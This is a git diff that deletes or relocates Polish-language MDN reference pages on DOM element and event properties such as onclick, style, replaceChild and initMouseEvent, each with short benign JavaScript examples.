- - diff --git a/files/pl/web/api/element/onclick/index.html b/files/pl/web/api/element/onclick/index.html deleted file mode 100644 index b6215b4c00..0000000000 --- a/files/pl/web/api/element/onclick/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: element.onclick -slug: Web/API/Element/onclick -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onclick ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Właściwość onclick zwraca kod obsługi zdarzenia onClick w bieżącym elemencie.

-

Składnia

-
element.onclick = refDoFunkcji;
-
-

gdzie refDoFunkcji to nazwa funkcji zadeklarowanej gdzie indziej bądź wyrażenie funkcyjne. Zob. Funkcje. - tego rodzialu jeszcze nie ma, a pod nazwa Funkcje jest cos innego

-

Przykład

-
<html>
-
-<head>
-<title>przykład zdarzenia onclick</title>
-
-<script type="text/javascript">
-
-function initElement()
- {
- var p = document.getElementById("foo");
-
- // Uwaga: ani showAlert();, ani showAlert(param); tu NIE zadziałają
- // potrzebna jest referencja do funkcji, a nie wywołanie funkcji
- p.onclick = showAlert;
- };
-
-function showAlert()
- {
- alert("wykryto zdarzenie onclick!")
- }
-</script>
-
-<style type="text/css">
-<!--
-#foo {
-border: solid blue 2px;
-}
--->
-</style>
-</head>
-
-<body onload="initElement()";>
-<span id="foo">Mój Element</span>
-<p>Kliknij na powyższy element.</p>
-</body>
-</html>
-
-

Można również użyć funkcji bezimiennej jak poniżej:

-
p.onclick = function() { alert("moot!"); };
-
-

Not going to confuse poor readers with this. You could also use a the Function constructor: <pre> p.onclick = Function( "alert('moot!')" ); </pre>

-

Uwagi

-

Zdarzenie click jest wywoływane, kiedy użytkownik kliknie na element. Zdarzenie to występuje po mousedown i mouseup.

-

Tylko jedna funkcja obsługi zdarzenia może zostać przypisana za jednym razem za pomocą tej właściwości. Możesz zamiast niej użyć metody addEventListener - jest bardziej elastyczna i stanowi część specyfikacji DOM Events.

-

Specyfikacja

-

{{ DOM0() }}

-

{{ languages( { "en": "en/DOM/element.onclick", "fr": "fr/DOM/element.onclick" } ) }}

diff --git a/files/pl/web/api/element/onkeypress/index.html b/files/pl/web/api/element/onkeypress/index.html deleted file mode 100644 index eb57c1936c..0000000000 --- a/files/pl/web/api/element/onkeypress/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: element.onkeypress -slug: Web/API/Element/onkeypress -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onkeypress ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Właściwość onkeypress zawiera kod obsługi zdarzenia onKeyPress dla bieżącego elementu.

-

Składnia

-
element.onkeypress = kod obsługi zdarzenia
-
-

Uwagi

-

Zdarzenie keydown wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.

-

Specyfikacja

-

{{ DOM0() }}

diff --git a/files/pl/web/api/element/onkeyup/index.html b/files/pl/web/api/element/onkeyup/index.html deleted file mode 100644 index ad411b0e1a..0000000000 --- a/files/pl/web/api/element/onkeyup/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: element.onkeyup -slug: Web/API/Element/onkeyup -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onkeyup ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Właściwość onkeyup zawiera kod obsługi zdarzenia keyup dla bieżącego elementu.

-

Składnia

-
kod obsługi zdarzenia = element.onkeyup
-
-

Uwagi

-

Zdarzenie keyup wywoływane jest, gdy użytkownik zwalnia naciśnięty klawisz na klawiaturze.

-

Specyfikacja

-

{{ DOM0() }}

-
-  
-

{{ languages( { "en": "en/DOM/element.onkeyup", "fr": "fr/DOM/element.onkeyup" } ) }}

diff --git a/files/pl/web/api/element/onmousedown/index.html b/files/pl/web/api/element/onmousedown/index.html deleted file mode 100644 index e616906126..0000000000 --- a/files/pl/web/api/element/onmousedown/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: element.onmousedown -slug: Web/API/Element/onmousedown -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onmousedown ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność onmousedown zwraca kod obsługi zdarzenia onMouseDown w bieżącym elemencie.

-

Składnia

-
event handling code = element.onMouseDown
-
-

Uwagi

-

Zdarzenie mousedown jest wywołane kiedy użytkownik naciśnie lewy przycisk.

-

Specyfikacja

-

DOM Level 0. Nie jest częścią specyfikacji.

-
-  
-

{{ languages( { "en": "en/DOM/element.onmousedown", "fr": "fr/DOM/element.onmousedown" } ) }}

diff --git a/files/pl/web/api/element/onmousemove/index.html b/files/pl/web/api/element/onmousemove/index.html deleted file mode 100644 index f54256c9f7..0000000000 --- a/files/pl/web/api/element/onmousemove/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: element.onmousemove -slug: Web/API/Element/onmousemove -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/GlobalEventHandlers/onmousemove ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Właściwość onmousemove zwraca kod obsługi zdarzenia mousemove w bieżącym elemencie.

- -

Składnia

- -
event handling code = element.onMouseMove
-
- -

Uwagi

- -

Zdarzenie mousemove jest wywoływane, kiedy użytkownik przesunie kursor myszy.

- -

Specyfikacja

- -

DOM Level 0. Nie jest częścią specyfikacji.

diff --git a/files/pl/web/api/element/ownerdocument/index.html b/files/pl/web/api/element/ownerdocument/index.html deleted file mode 100644 index 0ecbed4869..0000000000 --- a/files/pl/web/api/element/ownerdocument/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: element.ownerDocument -slug: Web/API/Element/ownerDocument -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/ownerDocument ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność ownerDocument zwraca obiekt najwyższego poziomu - dokument, w którym znajduje się bieżący węzeł.

-

Składnia

-
dokument = element.ownerDocument
-
-

dokument to obiekt document, będący rodzicem bieżącego elementu.

-

Przykład

-
// dla danego elementu "p" znajdź element HTML najwyższego poziomu
-d = p.ownerDocument;
-html = d.documentElement;
-
-

Uwagi

-

Obiekt document zwracany przez tę własność jest głównym obiektem, w którym tworzone są wszystkie węzły-dzieci właściwego dokumentu HTML. Własność ta użyta na węźle, który sam jest dokumentem, zwraca NULL

-

Specyfikacja

-

ownerDocument

-

 

-
-  
-

{{ languages( { "en": "en/DOM/element.ownerDocument", "fr": "fr/DOM/element.ownerDocument", "ja": "ja/DOM/element.ownerDocument" } ) }}

diff --git a/files/pl/web/api/element/parentnode/index.html b/files/pl/web/api/element/parentnode/index.html deleted file mode 100644 index ec9bbceda0..0000000000 --- a/files/pl/web/api/element/parentnode/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: element.parentNode -slug: Web/API/Element/parentNode -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/parentNode ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność parentNode zwraca rodzica bieżącego elementu.

-

Składnia i wartości

-
rodzic = element.parentNode
-
-

rodzic jest rodzicem bieżącego węzła. Rodzicem elementu jest węzeł typu Element, Document lub DocumentFragment.

-

Przykład

-
text_field = document.getElementById("t");
-if ( div1.parentNode == document ){
-    text_field.setAttribute("value", "top-level");
-    // pole tekstowe wyświetli tekst "top-level" }
-
-

Uwagi

-

parentNode zwraca null dla poniższych typów węzłów: Attr, Document, DocumentFragment, Entity i Notation.

-

null zwracane jest także, gdy węzeł został utworzony, ale nie przypisano go jeszcze do drzewa.

-

Zobacz także

-

{{ Domxref("element.firstChild") }}, {{ Domxref("element.lastChild") }}, {{ Domxref("element.childNodes") }}, {{ Domxref("element.nextSibling") }}, {{ Domxref("element.previousSibling") }}.

-

Specyfikacja

-

DOM Level 2 Core: Node.parentNode

-

 

-
-  
-

{{ languages( { "en": "en/DOM/element.parentNode", "fr": "fr/DOM/element.parentNode", "it": "it/DOM/element.parentNode", "ja": "ja/DOM/element.parentNode" } ) }}

diff --git a/files/pl/web/api/element/prefix/index.html b/files/pl/web/api/element/prefix/index.html deleted file mode 100644 index c5ecdac392..0000000000 --- a/files/pl/web/api/element/prefix/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: element.prefix -slug: Web/API/Element/prefix -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/prefix ---- -

{{ ApiRef() }}

-

Podsumowanie

-

prefix zwraca prefiks przestrzeni nazw węzła lub null, jeśli nie określono prefiksu.

-

Składnia

-
string = element.prefix
-element.prefix =string
-
-

Przykłady

-
<x:div onclick="alert(this.prefix)"/>
-
-

Wyświetlone zostanie "x".

-

Uwagi

-

Własność ta działa tylko wtedy, gdy używany jest parser przetwarzający przestrzenie nazw, tj. gdy dokument serwowany jest z typem MIME XML. Własność nie działa dla dokumentów HTML.

-

Specyfikacja

-

Node.prefix (wprowadzona w DOM2)

-
-  
-

{{ languages( { "en": "en/DOM/element.prefix", "fr": "fr/DOM/element.prefix", "it": "it/DOM/element.prefix", "ja": "ja/DOM/element.prefix" } ) }}

diff --git a/files/pl/web/api/element/previoussibling/index.html b/files/pl/web/api/element/previoussibling/index.html deleted file mode 100644 index 0199cfb1a7..0000000000 --- a/files/pl/web/api/element/previoussibling/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: element.previousSibling -slug: Web/API/Element/previousSibling -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/previousSibling ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca węzeł bezpośrednio poprzedzający bieżący węzeł w drzewie.

-

Składnia i wartości

-
pNode = elementNode.previousSibling
-
-

pNode to węzeł przed bieżącym na liście rodzeństwa (czyli liście dzieci rodzica). Węzeł poprzedzający element jest zwykle węzłem elementu, komentarza lub tekstowym.

-

Przykład

-
var n1 = n2.previousSibling;
-
-

Uwagi

-

Zwraca null, jeśli nie ma poprzedzających węzłów.

-

Specyfikacja

-

DOM Level 1 Core: previousSibling

-

DOM Level 2 Core: previousSibling

-
-  
-

{{ languages( { "en": "en/DOM/element.previousSibling", "fr": "fr/DOM/element.previousSibling", "ja": "ja/DOM/element.previousSibling" } ) }}

diff --git a/files/pl/web/api/element/removechild/index.html b/files/pl/web/api/element/removechild/index.html deleted file mode 100644 index c07c36ab3b..0000000000 --- a/files/pl/web/api/element/removechild/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: element.removeChild -slug: Web/API/Element/removeChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/removeChild ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda removeChild usuwa węzeł potomny elementu.

-

Składnia

-
stareDziecko =element.removeChild(dziecko)
-
-

Parametry

- -

Przykład

-
// <div id="nadrzedny" align="center">
-//   <div id="zagniezdzony"></div>
-// </div>
-d = document.getElementById("nadrzedny");
-d_zagniezdzony = document.getElementById("zagniezdzony");
-usuwany_wezel = d.removeChild(d_zagniezdzony);
-
-

 

-

Specyfikacja

-

removeChild

-
-  
-

{{ languages( { "en": "en/DOM/element.removeChild", "fr": "fr/DOM/element.removeChild", "ja": "ja/DOM/element.removeChild" } ) }}

diff --git a/files/pl/web/api/element/replacechild/index.html b/files/pl/web/api/element/replacechild/index.html deleted file mode 100644 index dcb5686d44..0000000000 --- a/files/pl/web/api/element/replacechild/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: element.replaceChild -slug: Web/API/Element/replaceChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/replaceChild ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zastępuje dziecko węzła innym węzłem.

-

Składnia

-
węzełZastąpiony =węzełRodzic.replaceChild(noweDziecko,stareDziecko);
-
- -

Przykład

-
// <div>
-//  <span id="childSpan">foo bar</span>
-// </div>
-
-// utwórz węzeł pustego elementu
-// bez ID, atrybutów i zawartości
-var sp1 = document.createElement("span");
-
-// nadaj mu ID 'newSpan'
-sp1.setAttribute("id", "newSpan");
-
-// utwórz jakąś zawartość dla nowego elementu
-var sp1_content = document.createTextNode("Nowy element span.");
-
-// wstaw tę zawartość
-sp1.appendChild(sp1_content);
-
-// stwórz referencję do istniejącego węzła, który ma zostać zastąpiony
-var sp2 = document.getElementById("childSpan");
-var parentDiv = sp2.parentNode;
-
-// zastąp istniejący węzeł sp2 elementem span sp1
-parentDiv.replaceChild(sp1, sp2);
-
-
-

Specyfikacja

-

DOM Level 1 Core: replaceChild

-

DOM Level 2 Core: replaceChild

-
-  
-

{{ languages( { "en": "en/DOM/element.replaceChild", "fr": "fr/DOM/element.replaceChild", "ja": "ja/DOM/element.replaceChild" } ) }}

diff --git a/files/pl/web/api/element/style/index.html b/files/pl/web/api/element/style/index.html deleted file mode 100644 index 4736774e83..0000000000 --- a/files/pl/web/api/element/style/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: element.style -slug: Web/API/Element/style -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/ElementCSSInlineStyle/style ---- -

{{ ApiRef("DOM") }}

- -

Podsumowanie

- -

Zwraca obiekt reprezentujący atrybut style elementu.

- -

Przykład

- -
var div = document.getElementById("div1");
-div.style.marginTop = ".25in";
-
- -

Uwagi

- -

Ponieważ własność style reprezentuje atrybut style, który ma najwyższy priorytet w kaskadzie CSS, własność ta jest użyteczna by ustawić styl określonego elementu. Nie przyda się jednak do sprawdzania stylu elementu, ponieważ zależy ona tylko od atrybutu style, a nie od reguł stylów określonych gdziekolwiek indziej. Możesz użyć window.getComputedStyle, by sprawdzić styl elementu.

- -

Zobacz listę własności CSS dostępnych w DOM, gdzie znajdziesz też dodatkowe uwagi o zastosowaniu własności style.

- -

Ogólnie rzecz biorąc, lepiej jest użyć własność style zamiast elt.setAttribute('style', '...'), ponieważ użycie style nie nadpisze innych własności CSS, które mogły być wcześniej określone atrybutem style.

- -

Styli nie można ustawiać poprzez przekazywania łańcucha znaków do atrybutu style (tylko odczyt), np. elt.style = "color: blue;". Jest to niemożliwe ponieważ atrybut stylu zwraca obiekt CSSStyleDeclaration . Zamiast tego, możesz ustawić poszczególne własności atrybutu style w ten sposób:

- -
elt.style.color = "blue";  // Directly
-
-var st = elt.style;
-st.color = "blue";  // Indirectly
-
- -

Poniższy kod wyświetli nazwy wszystkich własności stylu, wartości ustawione dla elementu elt oraz dziedziczone 'przeliczone'' wartości:

- -
var elt = document.getElementById("elementIdHere");
-var out = "";
-var st = elt.style;
-var cs = window.getComputedStyle(z, null);
-for (x in st)
-  out += "  " + x + " = '" + st[x] + "' > '" + cs[x] + "'\n";
-
- -

Specyfikacja

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

diff --git a/files/pl/web/api/element/tabindex/index.html b/files/pl/web/api/element/tabindex/index.html deleted file mode 100644 index d8fdd6ce7d..0000000000 --- a/files/pl/web/api/element/tabindex/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: element.tabIndex -slug: Web/API/Element/tabIndex -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -
- {{APIRef}}
-
-  
-
- Podsumowanie
-

Pobiera/ustawia kolejność tabulacji dla bieżącego elementu.

-

Składnia

-
element.tabIndex = indeks
-
- -

Przykład

-
var b1 = document.getElementById("button1");
-
-b1.tabIndex = 1;
-

Specyfikacja

- diff --git a/files/pl/web/api/element/textcontent/index.html b/files/pl/web/api/element/textcontent/index.html deleted file mode 100644 index f667ea2889..0000000000 --- a/files/pl/web/api/element/textcontent/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: element.textContent -slug: Web/API/Element/textContent -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/textContent ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Pobiera lub ustawia zawartość tekstową węzła i jego potomków.

-

Składnia

-
tekst = element.textContent
-element.textContent = "przykładowy tekst"
-
-

Przykład

-
// Dany jest taki fragment w HTML:
-//   <div id="divA">To jest <span>jakiś</span> tekst</div>
-
-// Pobierz zawartość tekstową:
-var tekst = document.getElementById("divA").textContent;
-// |tekst| zawiera: "To jest jakiś tekst".
-
-// Ustaw zawartość:
-document.getElementById("divA").textContent = "To jest jakiś tekst";
-// teraz HTML elementu divA to <div id="divA">To jest jakiś tekst</div>
-
-

Uwagi

- -

Specyfikacja

-

textContent

-
-  
-

{{ languages( { "en": "en/DOM/element.textContent", "fr": "fr/DOM/element.textContent", "it": "it/DOM/element.textContent" } ) }}

diff --git a/files/pl/web/api/elementcssinlinestyle/style/index.html b/files/pl/web/api/elementcssinlinestyle/style/index.html new file mode 100644 index 0000000000..4736774e83 --- /dev/null +++ b/files/pl/web/api/elementcssinlinestyle/style/index.html @@ -0,0 +1,52 @@ +--- +title: element.style +slug: Web/API/Element/style +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/ElementCSSInlineStyle/style +--- +

{{ ApiRef("DOM") }}

+ +

Podsumowanie

+ +

Zwraca obiekt reprezentujący atrybut style elementu.

+ +

Przykład

+ +
var div = document.getElementById("div1");
+div.style.marginTop = ".25in";
+
+ +

Uwagi

+ +

Ponieważ własność style reprezentuje atrybut style, który ma najwyższy priorytet w kaskadzie CSS, własność ta jest użyteczna by ustawić styl określonego elementu. Nie przyda się jednak do sprawdzania stylu elementu, ponieważ zależy ona tylko od atrybutu style, a nie od reguł stylów określonych gdziekolwiek indziej. Możesz użyć window.getComputedStyle, by sprawdzić styl elementu.

+ +

Zobacz listę własności CSS dostępnych w DOM, gdzie znajdziesz też dodatkowe uwagi o zastosowaniu własności style.

+ +

Ogólnie rzecz biorąc, lepiej jest użyć własność style zamiast elt.setAttribute('style', '...'), ponieważ użycie style nie nadpisze innych własności CSS, które mogły być wcześniej określone atrybutem style.

+ +

Styli nie można ustawiać poprzez przekazywania łańcucha znaków do atrybutu style (tylko odczyt), np. elt.style = "color: blue;". Jest to niemożliwe ponieważ atrybut stylu zwraca obiekt CSSStyleDeclaration . Zamiast tego, możesz ustawić poszczególne własności atrybutu style w ten sposób:

+ +
elt.style.color = "blue";  // Directly
+
+var st = elt.style;
+st.color = "blue";  // Indirectly
+
+ +

Poniższy kod wyświetli nazwy wszystkich własności stylu, wartości ustawione dla elementu elt oraz dziedziczone 'przeliczone'' wartości:

+ +
var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(z, null);
+for (x in st)
+  out += "  " + x + " = '" + st[x] + "' > '" + cs[x] + "'\n";
+
+ +

Specyfikacja

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

diff --git a/files/pl/web/api/event/altkey/index.html b/files/pl/web/api/event/altkey/index.html deleted file mode 100644 index 1b0faf6fae..0000000000 --- a/files/pl/web/api/event/altkey/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: event.altKey -slug: Web/API/Event/altKey -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/altKey -translation_of_original: Web/API/event.altKey ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje, czy klawisz <alt> był wciśnięty przy wywołaniu zdarzenia.

-

Składnia

-
bool = event.altKey
-
-

Przykład

-
 function goInput(e) {
- // sprawdza przycisk <alt>
-   if e.altKey {
-      // przekazuje zdarzenie dalej
-      superSizeOutput(e);
-   }
-   else {
-     doOutput(e);
-   }
- }
-
-
-  
-

{{ languages( { "en": "en/DOM/event.altKey", "ja": "ja/DOM/event.altKey" } ) }}

diff --git a/files/pl/web/api/event/button/index.html b/files/pl/web/api/event/button/index.html deleted file mode 100644 index 4ee1c42386..0000000000 --- a/files/pl/web/api/event/button/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: event.button -slug: Web/API/Event/button -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/button -translation_of_original: Web/API/event.button ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje, który przycisk myszy wywołał zdarzenie.

-

Składnia

-
var kodPrzycisku = event.button;
-
-

Zwraca całkowitą wartość liczbową oznaczającą przycisk, który zmienił stan:

- -

Faktyczna kolejność przycisków może być różna, zależnie od konfiguracji urządzenia wskazującego.

-

Przykład

-
<script type="text/javascript">
-
-function whichButton(e)
-{
-  // obsłuż różne modele obsługi zdarzeń
-  var e = e || window.event;
-  var btnCode;
-
-  if ('object' == typeof e){
-    btnCode = e.button;
-
-    switch (btnCode){
-      case 0  : alert('Kliknięto lewym przyciskiem');
-                break;
-      case 1  : alert('Kliknięto środkowym przyciskiem');
-                break;
-      case 2  : alert('Kliknięto prawym przyciskiem');
-                break;
-      default : alert('Nieoczekiwany kod: ' + btnCode);
-    }
-  }
-}
-
-</script>
-
-<p onclick="whichButton(event);">Kliknij tu myszą...</p>
-
-
-

Uwagi

-

Ponieważ kliknięcia myszy są często przechwytywane przez interfejs uzytkownika, w niektórych okolicznościach może być trudno wykryć przyciski inne niż ten dla standardowego kliknięcia (tj. zazwyczaj lewy).

-

Użytkownicy mogą zmienić konfigurację przycisków swoich urządzeń wskazujących, tak że nawet jeśli własność - - button - wynosi zero, niekoniecznie musiał być naciśnięty przycisk znajdujący się fizycznie po lewej stronie. Jednak zachowanie w takiej sytuacji powinno być takie, jak gdyby kliknięto lewy przycisk w standardowym układzie.

-

Specyfikacja

-

DOM Level 2 Events: button

-
-  
-

{{ languages( { "en": "en/DOM/event.button", "ja": "ja/DOM/event.button" } ) }}

diff --git a/files/pl/web/api/event/cancelbubble/index.html b/files/pl/web/api/event/cancelbubble/index.html deleted file mode 100644 index 64b0a32f88..0000000000 --- a/files/pl/web/api/event/cancelbubble/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: event.cancelBubble -slug: Web/API/Event/cancelBubble -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/UIEvent/cancelBubble ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje, czy zostało anulowane bąbelkowanie tego zdarzenia.

-

Składnia

-
bool = event.cancelBubble
-
-

{{ languages( { "en": "en/DOM/event.cancelBubble" } ) }}

diff --git a/files/pl/web/api/event/charcode/index.html b/files/pl/web/api/event/charcode/index.html deleted file mode 100644 index 6600e6c1dd..0000000000 --- a/files/pl/web/api/event/charcode/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: event.charCode -slug: Web/API/Event/charCode -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/KeyboardEvent/charCode ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca kod Unicode dla klawisza znaku, który został wciśnięty, w zdarzeniu keypress.

-

Składnia

-
znak = event.charCode
-
-

Parametry

- -

Uwagi

-

W zdarzeniu keypress kod Unicode wciśniętego klawisza jest przechowywany albo we własności keyCode albo w charCode, nigdy w obydwu. Jeśli wciśnięcie klawisza skutkowałoby wprowadzeniem znaku (np. 'a'), charCode ustawiany jest dla kodu tego znaku, z uwzględnieniem wielkości (małe lub duże litery) znaku (np. bierze pod uwagę, czy wciśnięto klawisz shift). W przeciwnym przypadku, naciśnięty klawisz przechowywany jest w keyCode.

-

charCode nigdy nie jest ustawiany w zdarzeniach keydown i keyup. W tych przypadkach ustawiany jest keyCode.

-

Aby pobrać kod klawisza niezależnie, czy jest przechowywany w keyCode czy w charCode, sprawdź właściwość which.

-

Znaki wprowadzane poprzez IME nie są rejestrowane poprzez keyCode ani charCode. (IME - program pozwalający wprowadzać skomplikowane znaki, np. japońskie bądź chińskie - przyp. tłum.)

-

Listę wartości charCode związanych z poszczególnymi klawiszami możesz znaleźć uruchamiając Przykład 7: Wyświetlanie stałych obiektu event.

-

Specyfikacja

-

Nie należy do specyfikacji. Zobacz nsIDOMKeyEvent.

-

{{ languages( { "en": "en/DOM/event.charCode" } ) }}

diff --git a/files/pl/web/api/event/clientx/index.html b/files/pl/web/api/event/clientx/index.html deleted file mode 100644 index 2e38b30ea8..0000000000 --- a/files/pl/web/api/event/clientx/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: event.clientX -slug: Web/API/Event/clientX -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/clientX -translation_of_original: Web/API/event.clientX ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca poziomą współrzędną zdarzenia w obszarze klienta.

-

Przykład

-
 function checkClientClickMap(e) {
-   if e.clientX < 50 {
-     doRedButton(); }
-   if 50 <= e.clientX < 100 {
-     doYellowButton(); }
-   if e.clientX >= 100 {
-     doRedButton(); } }
-
-

Uwagi

-

Zobacz też clientY.

-

Specyfikacja

-

clientX

-

{{ languages( { "en": "en/DOM/event.clientX" } ) }}

diff --git a/files/pl/web/api/event/clienty/index.html b/files/pl/web/api/event/clienty/index.html deleted file mode 100644 index 45d9ae0b34..0000000000 --- a/files/pl/web/api/event/clienty/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: event.clientY -slug: Web/API/Event/clientY -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/clientY -translation_of_original: Web/API/event.clientY ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca pionową współrzędną zdarzenia w obszarze klienta.

-

Uwagi

-

Zobacz też clientX, wraz z przykładem wykorzystania.

-

Specyfikacja

-

clientY

-

{{ languages( { "en": "en/DOM/event.clientY" } ) }}

diff --git a/files/pl/web/api/event/ctrlkey/index.html b/files/pl/web/api/event/ctrlkey/index.html deleted file mode 100644 index e0753f6aee..0000000000 --- a/files/pl/web/api/event/ctrlkey/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: event.ctrlKey -slug: Web/API/Event/ctrlKey -tags: - - DOM - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/ctrlKey -translation_of_original: Web/API/event.ctrlKey ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Wskazuje, czy klawisz <ctrl> był wciśnięty podczas wywołania zdarzenia.

-

Składnia

-
bool = event.ctrlKey
-
-

Przykład

-
 function goInput(e) {
- // sprawdza ctrlKey
-   if e.ctrlKey
-        // i przekazuje zdarzenie dalej
-     superSizeOutput(e);
-   else
-     doOutput(e)
-
-

Specyfikacja

-

ctrlKey

-

{{ languages( { "en": "en/DOM/event.ctrlKey" } ) }}

diff --git a/files/pl/web/api/event/initmouseevent/index.html b/files/pl/web/api/event/initmouseevent/index.html deleted file mode 100644 index e9de804697..0000000000 --- a/files/pl/web/api/event/initmouseevent/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: event.initMouseEvent -slug: Web/API/Event/initMouseEvent -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/MouseEvent/initMouseEvent ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Inicjuje zdarzenie myszy po jego utworzeniu (za pomocą metody createEvent interfejsu DocumentEvent).

-

Składnia

-
event.initMouseEvent(type,canBubble,cancelable,view,detail,screenX,screenY,clientX,clientY,ctrlKey,altKey,shiftKey,metaKey,button,relatedTarget);
-
-
-
- type
-
- łańcuch znaków do ustawienia typu zdarzeń. Możliwe typy dla zdarzeń myszy: click, mousedown, mouseup, mouseover, mousemove, mouseout.
-
- canBubble
-
- czy zdarzenie bąbelkuje. Ustawia wartość event.bubbles.
-
- cancelable
-
- czy domyślna akcja zdarzenia może być anulowana. Ustawia Ustawia wartość event.cancelable.
-
- view
-
- AbstractView zdarzenia. You should pass the window object here. Ustawia wartość event.view.
-
- detail
-
- wartość licznika kliknięć myszą. Ustawia wartość event.detail.
-
- screenX
-
- współrzędna x względem ekranu. Ustawia wartość event.screenX.
-
- screenY
-
- współrzędna y względem ekranu. Ustawia wartość event.screenY.
-
- clientX
-
- współrzędna x w obszarze klienta. Ustawia wartość event.clientX.
-
- clientY
-
- współrzędna y w obszarze klienta. Ustawia wartość event.clientY.
-
- ctrlKey
-
- czy klawisz control był wciśnięty podczas zdarzenia. Ustawia wartość event.ctrlKey.
-
- altKey
-
- czy klawisz alt był wciśnięty podczas zdarzenia. Ustawia wartość event.altKey.
-
- shiftKey
-
- czy klawisz shift był wciśnięty podczas zdarzenia. Ustawia wartość event.shiftKey.
-
- metaKey
-
- czy klawisz meta był wciśnięty podczas zdarzenia. Ustawia wartość event.metaKey.
-
- button
-
- zdarzenie myszy event.button.
-
- relatedTarget
-
- zdarzenie related EventTarget. Stosowane tylko z kilkoma typami zdarzeń (np. mouseover i mouseout). W innych przypadkach, zwraca null.
-
-

Przykład

-

 

-

Specyfikacja

-

DOM Level 2 Events: initMouseEvent

-

 

-
-  
-

{{ languages( { "en": "en/DOM/event.initMouseEvent", "es": "es/DOM/event.initMouseEvent" } ) }}

